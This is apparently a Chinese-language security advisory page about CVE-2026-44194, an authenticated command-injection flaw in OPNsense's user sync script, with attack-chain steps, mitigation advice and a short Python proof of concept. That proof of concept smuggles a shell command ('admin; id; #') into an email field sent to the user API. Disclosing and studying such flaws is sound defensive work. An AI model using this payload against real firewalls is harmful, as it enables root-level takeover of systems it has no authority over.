IPBUF安全漏洞报告
English
CVE-2026-44194 CVSS 9.1 严重

CVE-2026-44194 OPNsense远程代码执行漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44194
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
OPNsense

相关标签

RCEOPNsense命令注入防火墙漏洞

漏洞概述

OPNsense是基于FreeBSD的开源防火墙和路由平台。在26.1.8版本之前,其核心组件中存在一个经过身份验证的远程代码执行(RCE)漏洞。拥有用户管理权限的攻击者可以通过构造包含恶意命令的特殊电子邮件地址,绕过输入验证机制。该漏洞利用了本地用户同步流程中的缺陷,允许攻击者在底层操作系统上以root权限执行任意系统命令,从而完全接管服务器。

技术细节

该漏洞位于OPNsense核心文件的`core/src/opnsense/scripts/auth/sync_user.php`脚本中,涉及本地用户同步功能。攻击者首先需要获取一个具有用户管理权限的合法账户。漏洞的核心在于输入验证逻辑存在缺陷,系统未能有效区分合法电子邮件地址和注入的Shell命令。攻击者可以将恶意载荷(如反引号或分号分隔的命令)伪装成符合格式的电子邮件地址。当系统触发用户同步操作时,该恶意输入被直接传递给系统Shell执行。由于同步脚本以root权限运行,攻击者因此能够获得系统最高控制权,对机密性、完整性和可用性造成严重影响。

攻击链分析

STEP 1
获取权限
攻击者获取OPNsense系统的合法账户,并需具备用户管理权限。
STEP 2
构造载荷
攻击者构造包含Shell命令的恶意电子邮件地址,利用格式绕过验证。
STEP 3
触发漏洞
攻击者通过用户管理接口创建或修改用户,触发sync_user.php脚本。
STEP 4
命令执行
恶意载荷被传递至底层操作系统,以Root权限执行任意命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-44194 # Requires auth with user-management privileges import requests target = "https://<TARGET_IP>/api/core/user/setUser" session_id = "<VALID_SESSION_COOKIE>" # Craft payload to bypass email validation and execute command # Syntax: user; command @ domain payload_email = "admin; id; # @opnsense.local" headers = { "Cookie": f"PHPSESSID={session_id}", "Content-Type": "application/json" } data = { "user": { "username": "testuser", "email": payload_email, "password": "TestPass123!" } } # Send request to trigger sync try: r = requests.post(target, json=data, headers=headers, verify=False) print(f"Status: {r.status_code}") print(f"Response: {r.text}") except Exception as e: print(f"Error: {e}")

影响范围

OPNsense < 26.1.8

防御指南

临时缓解措施
建议立即升级到官方修复版本26.1.8。若无法立即升级,应严格限制拥有用户管理权限的账户数量,并加强对系统异常行为的监控,特别是对用户同步接口的访问审计。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表